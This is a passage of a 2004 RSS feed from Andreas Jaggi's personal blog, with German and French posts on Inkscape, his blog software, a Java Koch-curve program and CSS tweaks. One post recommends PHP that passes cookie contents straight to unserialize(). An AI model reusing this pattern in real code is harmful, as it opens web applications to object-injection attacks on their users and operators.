  13864.    <description><![CDATA[<p>Gestern habe ich <a href="https://inkscape.org/" title="Inkscape">Inkscape</a> entdeckt. Inkscape ist ein Vektor-Graphikprogramm, das <a href="https://www.w3.org/Graphics/SVG/" title="SVG beim W3C"><abbr title="Scalable Vector Graphics">SVG</abbr></a> als Dateiformat benutzt.</p><p>Das Programm lässt sich mit <a href="https://en.wikipedia.org/wiki/Adobe_Fireworks" title="Macromedia Fireworks">Macromedia Fireworks</a> vergleichen, wennauch der Funktionsumfang noch nicht ganz so gross ist. So kann Inkscape nur nach <abbr title="Portable Network Graphics">PNG</abbr> exportieren und unterstützt keine Animationen. Dafür ist IMHO die Vektorbearbeitung von Inkscape schon jetzt der von Fireworks überlegen.</p><p>Nachdem ich auch das Tutorial gemacht habe, durfte ich feststellen, dass das Userinterface von Inkscape grösstenteils absolut top ist. So eine angenehme und einfache Handhabung habe ich bei einem Graphikprogramm bisher vergebens gesucht. Da kann selbst mein bisheriger Favorit Fireworks fast nicht mithalten.</p><ul><li><a href="https://inkscape.org/about/screenshots/" title="Screenshots von Inkscape">Screenshots</a></li><li><a href="https://blog.x-way.org/images/inkscape-tutorial.svg" title="Default Tutorial (SVG)">Default Tutorial</a></li><li><a href="https://web.archive.org/web/20040604063741/http://programmer-art.org/?page=inkscape" title="Inkscape Tutorials (archive.org)">Inkscape Tutorials</a></li></ul>
  13865. ]]></description>
  13866.    <content:encoded><![CDATA[<p>Gestern habe ich <a href="https://inkscape.org/" title="Inkscape">Inkscape</a> entdeckt. Inkscape ist ein Vektor-Graphikprogramm, das <a href="https://www.w3.org/Graphics/SVG/" title="SVG beim W3C"><abbr title="Scalable Vector Graphics">SVG</abbr></a> als Dateiformat benutzt.</p><p>Das Programm lässt sich mit <a href="https://en.wikipedia.org/wiki/Adobe_Fireworks" title="Macromedia Fireworks">Macromedia Fireworks</a> vergleichen, wennauch der Funktionsumfang noch nicht ganz so gross ist. So kann Inkscape nur nach <abbr title="Portable Network Graphics">PNG</abbr> exportieren und unterstützt keine Animationen. Dafür ist IMHO die Vektorbearbeitung von Inkscape schon jetzt der von Fireworks überlegen.</p><p>Nachdem ich auch das Tutorial gemacht habe, durfte ich feststellen, dass das Userinterface von Inkscape grösstenteils absolut top ist. So eine angenehme und einfache Handhabung habe ich bei einem Graphikprogramm bisher vergebens gesucht. Da kann selbst mein bisheriger Favorit Fireworks fast nicht mithalten.</p><ul><li><a href="https://inkscape.org/about/screenshots/" title="Screenshots von Inkscape">Screenshots</a></li><li><a href="https://blog.x-way.org/images/inkscape-tutorial.svg" title="Default Tutorial (SVG)">Default Tutorial</a></li><li><a href="https://web.archive.org/web/20040604063741/http://programmer-art.org/?page=inkscape" title="Inkscape Tutorials (archive.org)">Inkscape Tutorials</a></li></ul>
  13867. ]]></content:encoded>
  13868.  </item>
  13869.  
  13870.  <item>
  13871.    <title>x-log v2.02c</title>
  13872.    <link>https://blog.x-way.org/Coding/2004/04/08/x-log_v202c.html</link>
  13873.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324018</guid>
  13874.    <dc:creator>Andreas Jaggi</dc:creator>
  13875.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13876.    <pubDate>Thu, 08 Apr 2004 22:07:57 +0200</pubDate>
  13877.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  13878.    <description><![CDATA[<p>So, nun sind auch die Erweiterungen, welche ich während der letzten Woche offline geschrieben habe, mehr oder weniger erfolgreich integriert.</p><p>Erwähnenswerte neue Features:</p><ul><li>Labels, einzelne Einträge sind nun nicht mehr nur via <a href="http://waterwave.ch/weblog/detail.php?id=324018" title="x-log v2.02c">detail.php?id=324018</a> erreichbar sondern auch via <a href="http://waterwave.ch/weblog/detail.php?label=x-log_v202c" title="x-log v2.02c">detail.php?label=x-log_v202c</a></li> <li>Archiv, wie schon gehabt</li><li>mod_rewrite für einzele Einträge, dieser Eintrag ist auch erreichbar via <a href="http://waterwave.ch/weblog/324018" title="x-log v2.02c">http://waterwave.ch/weblog/324018</a> und <a href="http://waterwave.ch/weblog/x-log_v202c" title="x-log v2.02c">http://waterwave.ch/weblog/x-log_v202c</a></li><li>mod_rewrite fürs Archiv, <a href="http://waterwave.ch/weblog/archiv.php?jahr=2004" title="2004">archiv.php?jahr=2004</a> ist auch erreichbar via <a href="http://waterwave.ch/weblog/2004" title="2004">http://waterwave.ch/weblog/2004</a> und infolge der Verschachtelung von Catch-All-Expressions auch via <a href="http://www.waterwave.ch/weblog/2004/2003/0/0/9876/1234/2003/1/2/2004" title="2004">http://www.waterwave.ch/weblog/2004/2003/0/0/9876/1234/2003/1/2/2004</a></li><li><abbr title="Extensible Hypertext Markup Language">XHTML</abbr> 1.0 Strict mit korrektem <abbr title="Multipurpose Internet Mail Extensions">MIME</abbr>-Type (application/xhtml+xml, falls vom Browser unterstützt) für alle Einträge seit Jahresbeginn (mal schauen wie lange das so bleibt ;-)</li></ul>
  13879. ]]></description>
  13880.    <content:encoded><![CDATA[<p>So, nun sind auch die Erweiterungen, welche ich während der letzten Woche offline geschrieben habe, mehr oder weniger erfolgreich integriert.</p><p>Erwähnenswerte neue Features:</p><ul><li>Labels, einzelne Einträge sind nun nicht mehr nur via <a href="http://waterwave.ch/weblog/detail.php?id=324018" title="x-log v2.02c">detail.php?id=324018</a> erreichbar sondern auch via <a href="http://waterwave.ch/weblog/detail.php?label=x-log_v202c" title="x-log v2.02c">detail.php?label=x-log_v202c</a></li> <li>Archiv, wie schon gehabt</li><li>mod_rewrite für einzele Einträge, dieser Eintrag ist auch erreichbar via <a href="http://waterwave.ch/weblog/324018" title="x-log v2.02c">http://waterwave.ch/weblog/324018</a> und <a href="http://waterwave.ch/weblog/x-log_v202c" title="x-log v2.02c">http://waterwave.ch/weblog/x-log_v202c</a></li><li>mod_rewrite fürs Archiv, <a href="http://waterwave.ch/weblog/archiv.php?jahr=2004" title="2004">archiv.php?jahr=2004</a> ist auch erreichbar via <a href="http://waterwave.ch/weblog/2004" title="2004">http://waterwave.ch/weblog/2004</a> und infolge der Verschachtelung von Catch-All-Expressions auch via <a href="http://www.waterwave.ch/weblog/2004/2003/0/0/9876/1234/2003/1/2/2004" title="2004">http://www.waterwave.ch/weblog/2004/2003/0/0/9876/1234/2003/1/2/2004</a></li><li><abbr title="Extensible Hypertext Markup Language">XHTML</abbr> 1.0 Strict mit korrektem <abbr title="Multipurpose Internet Mail Extensions">MIME</abbr>-Type (application/xhtml+xml, falls vom Browser unterstützt) für alle Einträge seit Jahresbeginn (mal schauen wie lange das so bleibt ;-)</li></ul>
  13881. ]]></content:encoded>
  13882.  </item>
  13883.  
  13884.  <item>
  13885.    <title>Joyeux Anniversaire Satellite</title>
  13886.    <link>https://blog.x-way.org/Music/2004/04/08/Jouyeux_Anniversaire_Satellite.html</link>
  13887.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324017</guid>
  13888.    <dc:creator>Andreas Jaggi</dc:creator>
  13889.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13890.    <pubDate>Thu, 08 Apr 2004 15:44:19 +0200</pubDate>
  13891.    <category domain="https://blog.x-way.org/Music/">Music</category>
  13892.    <description><![CDATA[<p>La semaine dernière j'ai passé presque tous les jours, soirs et nuits au <a href="http://sat.epfl.ch" title="Satellite">Satellite</a> . Il y avait la fête de <a href="https://web.archive.org/web/20040718194209/http://sat.epfl.ch/special/0304/20ans/" title="Satellite - 20 ans">20 ans de Satellite</a>. Et puis le weekend il y avait des concerts vachement génials.</p>
  13893. ]]></description>
  13894.    <content:encoded><![CDATA[<p>La semaine dernière j'ai passé presque tous les jours, soirs et nuits au <a href="http://sat.epfl.ch" title="Satellite">Satellite</a> . Il y avait la fête de <a href="https://web.archive.org/web/20040718194209/http://sat.epfl.ch/special/0304/20ans/" title="Satellite - 20 ans">20 ans de Satellite</a>. Et puis le weekend il y avait des concerts vachement génials.</p>
  13895. ]]></content:encoded>
  13896.  </item>
  13897.  
  13898.  <item>
  13899.    <title>Neue alte Features</title>
  13900.    <link>https://blog.x-way.org/Coding/2004/03/28/Neue_alte_Features.html</link>
  13901.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324016</guid>
  13902.    <dc:creator>Andreas Jaggi</dc:creator>
  13903.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13904.    <pubDate>Sun, 28 Mar 2004 01:18:46 +0100</pubDate>
  13905.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  13906.    <description><![CDATA[<p>Nun sind wieder ein paar alte Features zum Vorschein gekommen :-)</p><p>Dabei hat mir <abbr title="PHP Hypertext Preprocessor">PHP</abbr> den Weg nicht gerade leicht gemacht. Angenommen, man will ein Array in einem Cookie speichern indem man serialize() und unserialize() benutzt, könnte folgender Code entstehen.</p><pre>function saveData ( $data ) {
  13907.        setcookie('cookiename', serialize($data), time()+3600*24*100);
  13908. }
  13909.  
  13910. function loadData () {
  13911.        return unserialize($_COOKIE['cookiename']);
  13912. }</pre><p>Das funktioniert aber leider nicht. Damit es funktioniert muss noch stripslashes() benutzt werden.</p><pre>function saveData ( $data ) {
  13913.        setcookie('cookiename', serialize($data), time()+3600*24*100);
  13914. }
  13915.  
  13916. function loadData () {
  13917.        return unserialize(stripslashes($_COOKIE['cookiename']));
  13918. }</pre>
  13919. ]]></description>
  13920.    <content:encoded><![CDATA[<p>Nun sind wieder ein paar alte Features zum Vorschein gekommen :-)</p><p>Dabei hat mir <abbr title="PHP Hypertext Preprocessor">PHP</abbr> den Weg nicht gerade leicht gemacht. Angenommen, man will ein Array in einem Cookie speichern indem man serialize() und unserialize() benutzt, könnte folgender Code entstehen.</p><pre>function saveData ( $data ) {
  13921.        setcookie('cookiename', serialize($data), time()+3600*24*100);
  13922. }
  13923.  
  13924. function loadData () {
  13925.        return unserialize($_COOKIE['cookiename']);
  13926. }</pre><p>Das funktioniert aber leider nicht. Damit es funktioniert muss noch stripslashes() benutzt werden.</p><pre>function saveData ( $data ) {
  13927.        setcookie('cookiename', serialize($data), time()+3600*24*100);
  13928. }
  13929.  
  13930. function loadData () {
  13931.        return unserialize(stripslashes($_COOKIE['cookiename']));
  13932. }</pre>
  13933. ]]></content:encoded>
  13934.  </item>
  13935.  
  13936.  <item>
  13937.    <title>Paris en nuit</title>
  13938.    <link>https://blog.x-way.org/Misc/2004/03/27/Paris_en_nuit.html</link>
  13939.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324015</guid>
  13940.    <dc:creator>Andreas Jaggi</dc:creator>
  13941.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13942.    <pubDate>Sat, 27 Mar 2004 21:45:26 +0100</pubDate>
  13943.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  13944.    <description><![CDATA[Chez <a href="http://www.vowe.net" title="vowe.net">vowe.net</a> j'ai trouvé cette <a href="https://blog.x-way.org/images/parisbynight.jpg" title="parisbynight.jpg (1.8 MO)">image exceptionelle</a> de Paris.
  13945. ]]></description>
  13946.    <content:encoded><![CDATA[Chez <a href="http://www.vowe.net" title="vowe.net">vowe.net</a> j'ai trouvé cette <a href="https://blog.x-way.org/images/parisbynight.jpg" title="parisbynight.jpg (1.8 MO)">image exceptionelle</a> de Paris.
  13947. ]]></content:encoded>
  13948.  </item>
  13949.  
  13950.  <item>
  13951.    <title>Kochsche Kurve</title>
  13952.    <link>https://blog.x-way.org/Coding/2004/03/26/Kochsche_Kurve.html</link>
  13953.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324014</guid>
  13954.    <dc:creator>Andreas Jaggi</dc:creator>
  13955.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  13956.    <pubDate>Fri, 26 Mar 2004 23:18:02 +0100</pubDate>
  13957.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  13958.    <description><![CDATA[<p>Heute haben wir im <abbr title="A general purpose, high-level, object-oriented, cross-platform programming language developed by Sun Microsystems">Java</abbr>-Programmieren mit <abbr title="Graphical User Interface">GUI</abbr>-Programmierung angefangen. Die Exercices waren simpel (Buttons erzeugen, ausrichten etc.), jedoch hatte es als Zusatzaufgabe noch die <a href="https://web.archive.org/web/20040815192152/http://cowww.epfl.ch/proginfo/TP/gra1/serie3_files/Koch.htm" title="Beschreibung auf französisch (archive.org)">Kochsche Kurve</a>.</p><p><img src="https://blog.x-way.org/images/kochschekurve.png" width="422" height="472" alt="Kochsche Kurve"></p>
  13959. <br><br>
  13960. <pre>import java.awt.*;
  13961. import java.awt.event.*;
  13962. import javax.swing.*;
  13963.  
  13964. /**
  13965. *  Kochsche Kurve
  13966. *
  13967. * @author     Andreas Jaggi
  13968. * @created    26. März 2004
  13969. * @version    1.0
  13970. */
  13971.  
  13972. public class KochscheKurve
  13973.                 extends JFrame {
  13974.        /**
  13975.         *  Constructor for the KochscheKurve object
  13976.         */
  13977.        public KochscheKurve() {
  13978.                setSize( 600, 600 );
  13979.                setTitle( "Die Kochsche Kurve" );
  13980.        }
  13981.  
  13982.  
  13983.        /**
  13984.         *  Überladene "interne" Methode, die aufgerufen wird, wenn das Fenster neu
  13985.         *  gezeichnet werden muss
  13986.         *
  13987.         * @param  g  Graphik-Objekt, auf dem gezeichnet wird
  13988.         */
  13989.        public void paint( Graphics g ) {
  13990.                super.paint( g );
  13991.  
  13992.                double  x1;
  13993.                double  x2;
  13994.                double  x3;
  13995.                double  y1;
  13996.                double  y2;
  13997.                double  y3;
  13998.                int     depth  = 13;
  13999.  
  14000.                x1 = 100;
  14001.                y1 = 400;
  14002.                x2 = 500;
  14003.                y2 = 400;
  14004.                x3 = ( x2 - x1 ) * Math.cos( -Math.PI / 3 ) -
  14005.                                ( y2 - y1 ) * Math.sin( -Math.PI / 3 ) + x1;
  14006.                y3 = ( x2 - x1 ) * Math.sin( -Math.PI / 3 ) +
  14007.                                ( y2 - y1 ) * Math.cos( -Math.PI / 3 ) + y1;
  14008.  
  14009.                koch( g, depth, x2, y2, x1, y1 );
  14010.                koch( g, depth, x1, y1, x3, y3 );
  14011.                koch( g, depth, x3, y3, x2, y2 );
  14012.        }
  14013.  
  14014.  
  14015.        /**
  14016.         *  Rekursive Funktion, welche den Fraktal zwischen zwei Punkten bis zu einer
  14017.         *  bestimmten Tiefe zeichnet.
  14018.         *
  14019.         * @param  g      Graphik-Objekt, auf dem gezeichnet wird
  14020.         * @param  depth  Rekursionstiefe
  14021.         * @param  x1     X-Koordinate des ersten Punktes
  14022.         * @param  y1     Y-Koordinate des ersten Punktes
  14023.         * @param  x2     X-Koordinate des zweiten Punktes
  14024.         * @param  y2     X-Koordinate des zweiten Punktes
  14025.         */
  14026.        public void koch( Graphics g, int depth, double x1, double y1, double x2,
  14027.                        double y2 ) {
  14028.                double  x13  = x1 + ( x2 - x1 ) / 3.0;
  14029.                double  x23  = x1 + 2.0 * ( x2 - x1 ) / 3.0;
  14030.  
  14031.                double  y13  = y1 + ( y2 - y1 ) / 3.0;
  14032.                double  y23  = y1 + 2.0 * ( y2 - y1 ) / 3.0;
  14033.  
  14034.                double  xd   = ( x23 - x13 ) * Math.cos( -Math.PI / 3 ) -
  14035.                                ( y23 - y13 ) * Math.sin( -Math.PI / 3 ) + x13;
  14036.                double  yd   = ( x23 - x13 ) * Math.sin( -Math.PI / 3 ) +
  14037.                                ( y23 - y13 ) * Math.cos( -Math.PI / 3 ) + y13;
  14038.  
  14039.                if ( depth > 0 ) {
  14040.                        koch( g, depth - 1, x1, y1, x13, y13 );
  14041.                        koch( g, depth - 1, x13, y13, xd, yd );
  14042.                        koch( g, depth - 1, xd, yd, x23, y23 );
  14043.                        koch( g, depth - 1, x23, y23, x2, y2 );
  14044.                } else {
  14045.                        g.drawLine( (int) x1, (int) y1, (int) x2, (int) y2 );
  14046.                }
  14047.        }
  14048.  
  14049.  
  14050.        /**
  14051.         *  The main program for the KochscheKurve class
  14052.         *
  14053.         * @param  args  The command line arguments
  14054.         */
  14055.        public static void main( String[] args ) {
  14056.                KochscheKurve  graf  = new KochscheKurve();
  14057.  
  14058.                graf.setVisible( true );
  14059.  
  14060.                graf.addWindowListener(
  14061.                        new WindowAdapter() {
  14062.                                public void windowClosing( WindowEvent e ) {
  14063.                                        System.exit( 0 );
  14064.                                }
  14065.                        }
  14066.                                 );
  14067.  
  14068.        }
  14069.  
  14070. }
  14071. </pre>
  14072. ]]></description>
  14073.    <content:encoded><![CDATA[<p>Heute haben wir im <abbr title="A general purpose, high-level, object-oriented, cross-platform programming language developed by Sun Microsystems">Java</abbr>-Programmieren mit <abbr title="Graphical User Interface">GUI</abbr>-Programmierung angefangen. Die Exercices waren simpel (Buttons erzeugen, ausrichten etc.), jedoch hatte es als Zusatzaufgabe noch die <a href="https://web.archive.org/web/20040815192152/http://cowww.epfl.ch/proginfo/TP/gra1/serie3_files/Koch.htm" title="Beschreibung auf französisch (archive.org)">Kochsche Kurve</a>.</p><p><img src="https://blog.x-way.org/images/kochschekurve.png" width="422" height="472" alt="Kochsche Kurve"></p>
  14074. <br><br>
  14075. <pre>import java.awt.*;
  14076. import java.awt.event.*;
  14077. import javax.swing.*;
  14078.  
  14079. /**
  14080. *  Kochsche Kurve
  14081. *
  14082. * @author     Andreas Jaggi
  14083. * @created    26. März 2004
  14084. * @version    1.0
  14085. */
  14086.  
  14087. public class KochscheKurve
  14088.                 extends JFrame {
  14089.        /**
  14090.         *  Constructor for the KochscheKurve object
  14091.         */
  14092.        public KochscheKurve() {
  14093.                setSize( 600, 600 );
  14094.                setTitle( "Die Kochsche Kurve" );
  14095.        }
  14096.  
  14097.  
  14098.        /**
  14099.         *  Überladene "interne" Methode, die aufgerufen wird, wenn das Fenster neu
  14100.         *  gezeichnet werden muss
  14101.         *
  14102.         * @param  g  Graphik-Objekt, auf dem gezeichnet wird
  14103.         */
  14104.        public void paint( Graphics g ) {
  14105.                super.paint( g );
  14106.  
  14107.                double  x1;
  14108.                double  x2;
  14109.                double  x3;
  14110.                double  y1;
  14111.                double  y2;
  14112.                double  y3;
  14113.                int     depth  = 13;
  14114.  
  14115.                x1 = 100;
  14116.                y1 = 400;
  14117.                x2 = 500;
  14118.                y2 = 400;
  14119.                x3 = ( x2 - x1 ) * Math.cos( -Math.PI / 3 ) -
  14120.                                ( y2 - y1 ) * Math.sin( -Math.PI / 3 ) + x1;
  14121.                y3 = ( x2 - x1 ) * Math.sin( -Math.PI / 3 ) +
  14122.                                ( y2 - y1 ) * Math.cos( -Math.PI / 3 ) + y1;
  14123.  
  14124.                koch( g, depth, x2, y2, x1, y1 );
  14125.                koch( g, depth, x1, y1, x3, y3 );
  14126.                koch( g, depth, x3, y3, x2, y2 );
  14127.        }
  14128.  
  14129.  
  14130.        /**
  14131.         *  Rekursive Funktion, welche den Fraktal zwischen zwei Punkten bis zu einer
  14132.         *  bestimmten Tiefe zeichnet.
  14133.         *
  14134.         * @param  g      Graphik-Objekt, auf dem gezeichnet wird
  14135.         * @param  depth  Rekursionstiefe
  14136.         * @param  x1     X-Koordinate des ersten Punktes
  14137.         * @param  y1     Y-Koordinate des ersten Punktes
  14138.         * @param  x2     X-Koordinate des zweiten Punktes
  14139.         * @param  y2     X-Koordinate des zweiten Punktes
  14140.         */
  14141.        public void koch( Graphics g, int depth, double x1, double y1, double x2,
  14142.                        double y2 ) {
  14143.                double  x13  = x1 + ( x2 - x1 ) / 3.0;
  14144.                double  x23  = x1 + 2.0 * ( x2 - x1 ) / 3.0;
  14145.  
  14146.                double  y13  = y1 + ( y2 - y1 ) / 3.0;
  14147.                double  y23  = y1 + 2.0 * ( y2 - y1 ) / 3.0;
  14148.  
  14149.                double  xd   = ( x23 - x13 ) * Math.cos( -Math.PI / 3 ) -
  14150.                                ( y23 - y13 ) * Math.sin( -Math.PI / 3 ) + x13;
  14151.                double  yd   = ( x23 - x13 ) * Math.sin( -Math.PI / 3 ) +
  14152.                                ( y23 - y13 ) * Math.cos( -Math.PI / 3 ) + y13;
  14153.  
  14154.                if ( depth > 0 ) {
  14155.                        koch( g, depth - 1, x1, y1, x13, y13 );
  14156.                        koch( g, depth - 1, x13, y13, xd, yd );
  14157.                        koch( g, depth - 1, xd, yd, x23, y23 );
  14158.                        koch( g, depth - 1, x23, y23, x2, y2 );
  14159.                } else {
  14160.                        g.drawLine( (int) x1, (int) y1, (int) x2, (int) y2 );
  14161.                }
  14162.        }
  14163.  
  14164.  
  14165.        /**
  14166.         *  The main program for the KochscheKurve class
  14167.         *
  14168.         * @param  args  The command line arguments
  14169.         */
  14170.        public static void main( String[] args ) {
  14171.                KochscheKurve  graf  = new KochscheKurve();
  14172.  
  14173.                graf.setVisible( true );
  14174.  
  14175.                graf.addWindowListener(
  14176.                        new WindowAdapter() {
  14177.                                public void windowClosing( WindowEvent e ) {
  14178.                                        System.exit( 0 );
  14179.                                }
  14180.                        }
  14181.                                 );
  14182.  
  14183.        }
  14184.  
  14185. }
  14186. </pre>
  14187. ]]></content:encoded>
  14188.  </item>
  14189.  
  14190.  <item>
  14191.    <title>Rechnen mit CSS</title>
  14192.    <link>https://blog.x-way.org/Webdesign/2004/03/14/Rechnen_mit_CSS.html</link>
  14193.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324013</guid>
  14194.    <dc:creator>Andreas Jaggi</dc:creator>
  14195.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14196.    <pubDate>Sun, 14 Mar 2004 12:43:22 +0100</pubDate>
  14197.    <category domain="https://blog.x-way.org/Webdesign/">Webdesign</category>
  14198.    <description><![CDATA[<p>Im Stylesheet dieser Seite findet sich unter anderem folgende Styledefinition:</p><pre>#rechts li a {
  14199. display: block;
  14200. border-bottom: 1px solid #FFFFFF;
  14201. width: 100% - 30px;
  14202. padding-left: 30px;
  14203. }</pre><p>Diese macht, dass die Links im rechten Submenu auf der ganzen Breite funktionieren und nicht nur wenn man auf den Text klickt.<br>Zuerst hatte ich die Weite auf 100% gesetzt. Jedoch hat der Mozilla wegen der 30px Padding noch 30px ausserhalb des Rahmens angezeigt. Mit overflow: hidden habe ich versucht das Problem zu lösen. Jedoch hat das nicht funktioniert, da es ja kein eigentlicher overflow ist.<br>Schlussendlich bin ich durch ausprobieren von garantiert fehlerhaften Styledefinitionen auf die jetztige Lösung gekommen. Natürlich validiert das nun nicht mehr als korrektes CSS, aber es funktioniert :-)</p><p>Da ich nun keine Windows-Maschine mehr habe, wäre ich froh um Screenshots vom Submenu, wenn mit der Maus über ein Link gefahren wird (a:hover).</p>
  14204. ]]></description>
  14205.    <content:encoded><![CDATA[<p>Im Stylesheet dieser Seite findet sich unter anderem folgende Styledefinition:</p><pre>#rechts li a {
  14206. display: block;
  14207. border-bottom: 1px solid #FFFFFF;
  14208. width: 100% - 30px;
  14209. padding-left: 30px;
  14210. }</pre><p>Diese macht, dass die Links im rechten Submenu auf der ganzen Breite funktionieren und nicht nur wenn man auf den Text klickt.<br>Zuerst hatte ich die Weite auf 100% gesetzt. Jedoch hat der Mozilla wegen der 30px Padding noch 30px ausserhalb des Rahmens angezeigt. Mit overflow: hidden habe ich versucht das Problem zu lösen. Jedoch hat das nicht funktioniert, da es ja kein eigentlicher overflow ist.<br>Schlussendlich bin ich durch ausprobieren von garantiert fehlerhaften Styledefinitionen auf die jetztige Lösung gekommen. Natürlich validiert das nun nicht mehr als korrektes CSS, aber es funktioniert :-)</p><p>Da ich nun keine Windows-Maschine mehr habe, wäre ich froh um Screenshots vom Submenu, wenn mit der Maus über ein Link gefahren wird (a:hover).</p>
  14211. ]]></content:encoded>
  14212.  </item>
  14213.  
  14214.  <item>
  14215.    <title>125. Geburtstag von Albert Einstein</title>
  14216.    <link>https://blog.x-way.org/Misc/2004/03/14/125_Geburtstag_von_Albert_Einstein.html</link>
  14217.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324012</guid>
  14218.    <dc:creator>Andreas Jaggi</dc:creator>
  14219.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14220.    <pubDate>Sun, 14 Mar 2004 12:16:49 +0100</pubDate>
  14221.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  14222.    <description><![CDATA[<blockquote><p>&quot;Phantasie ist wichtiger als Wissen. Wissen ist begrenzt, Phantasie aber umfaßt die ganze Welt.&quot;</p><p>Albert Einstein (1879-1955)</p></blockquote>
  14223. <p>Mehr dazu bei <a href="http://heise.de/newsticker/meldung/45520" title="Relativität, Schnüffler und Würfel -- zum 125. Geburtstag von Albert Einstein">heise</a></p>
  14224. ]]></description>
  14225.    <content:encoded><![CDATA[<blockquote><p>&quot;Phantasie ist wichtiger als Wissen. Wissen ist begrenzt, Phantasie aber umfaßt die ganze Welt.&quot;</p><p>Albert Einstein (1879-1955)</p></blockquote>
  14226. <p>Mehr dazu bei <a href="http://heise.de/newsticker/meldung/45520" title="Relativität, Schnüffler und Würfel -- zum 125. Geburtstag von Albert Einstein">heise</a></p>
  14227. ]]></content:encoded>
  14228.  </item>
  14229.  
  14230.  <item>
  14231.    <title>x-log, trashed again</title>
  14232.    <link>https://blog.x-way.org/Misc/2004/03/14/x-log_trashed_again.html</link>
  14233.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324011</guid>
  14234.    <dc:creator>Andreas Jaggi</dc:creator>
  14235.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14236.    <pubDate>Sun, 14 Mar 2004 00:00:00 +0100</pubDate>
  14237.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  14238.    <description><![CDATA[<blockquote><p>&quot;Am liebsten erinnere ich mich an die Zukunft.&quot;</p><p>Salvador Dalí (1904-1989), span. surrealist. Maler</p></blockquote>
  14239. <p>Wie schon angekündigt, habe ich während den Semesterferien die <abbr title="PHP Hypertext Preprocessor">PHP</abbr>-Scripts, welche hier im Hintergrund ihre Arbeit tun, neu geschrieben. Bisher sind noch nicht alle Funktionen der alten Version implementiert. Es werden jedoch laufend neue Funktionen hinzugefügt.<br>Mit dem alten Script verschwinden auch die alten Layouts, da hier nun ein neues Template-System werkelt. Aber keine Angst es werden neue Layouts kommen, denn dieser graue Kasten gefällt mir schon jetzt nicht mehr.</p>
  14240. ]]></description>
  14241.    <content:encoded><![CDATA[<blockquote><p>&quot;Am liebsten erinnere ich mich an die Zukunft.&quot;</p><p>Salvador Dalí (1904-1989), span. surrealist. Maler</p></blockquote>
  14242. <p>Wie schon angekündigt, habe ich während den Semesterferien die <abbr title="PHP Hypertext Preprocessor">PHP</abbr>-Scripts, welche hier im Hintergrund ihre Arbeit tun, neu geschrieben. Bisher sind noch nicht alle Funktionen der alten Version implementiert. Es werden jedoch laufend neue Funktionen hinzugefügt.<br>Mit dem alten Script verschwinden auch die alten Layouts, da hier nun ein neues Template-System werkelt. Aber keine Angst es werden neue Layouts kommen, denn dieser graue Kasten gefällt mir schon jetzt nicht mehr.</p>
  14243. ]]></content:encoded>
  14244.  </item>
  14245.  
  14246.  <item>
  14247.    <title>PHP Literatur</title>
  14248.    <link>https://blog.x-way.org/Coding/2004/02/29/PHP_Literatur.html</link>
  14249.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=324009</guid>
  14250.    <dc:creator>Andreas Jaggi</dc:creator>
  14251.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  14252.    <pubDate>Sun, 29 Feb 2004 20:47:00 +0100</pubDate>
  14253.    <category domain="https://blog.x-way.org/Coding/">Coding</category>
  14254.    <description><![CDATA[Schon nur weil ich am heutigen Datum erst wieder in 4 Jahren was schreiben kann, muss dieser Eintrag hier sein ;-)<br>Aber auch weil ich durch die Lektüre folgender Artikel zu einem Rewrite (ja, from Scratch) von meinem Weblog motiviert worden bin. Insbesondere hat mich der Artikel über Template Engines beeindruck, da hier mit einer völlig anderen Ansicht an das Problem herangegangen wird, als ich es bisher getan habe. An dieser Stelle wäre es natürlich interessant zu wissen wie andere Leute ihre Templates handhaben.<br><br><a href="https://web.archive.org/web/20040405022004/http://revjim.net/item/3956/" title="how to write better code (archive.org)"><b>how to write better code</b></a><br><a href="https://web.archive.org/web/20040203074914/http://laughingmeme.org/archives/001055.html" title="A Few Tips for Writing Useful Libraries in PHP (archive.org)"><b>A Few Tips for Writing Useful Libraries in PHP</b></a><br><a href="http://www.massassi.com/php/articles/template_engines/" title="Template Engines"><b>Template Engines</b></a><br><a href="https://web.archive.org/web/20040415155551/http://www.mojofat.com/tutorial/index.html" title="Functional Spec Tutorial - What and Why (archive.org)"><b>Functional Specification Tutorial</b></a>
  14255. ]]></description>
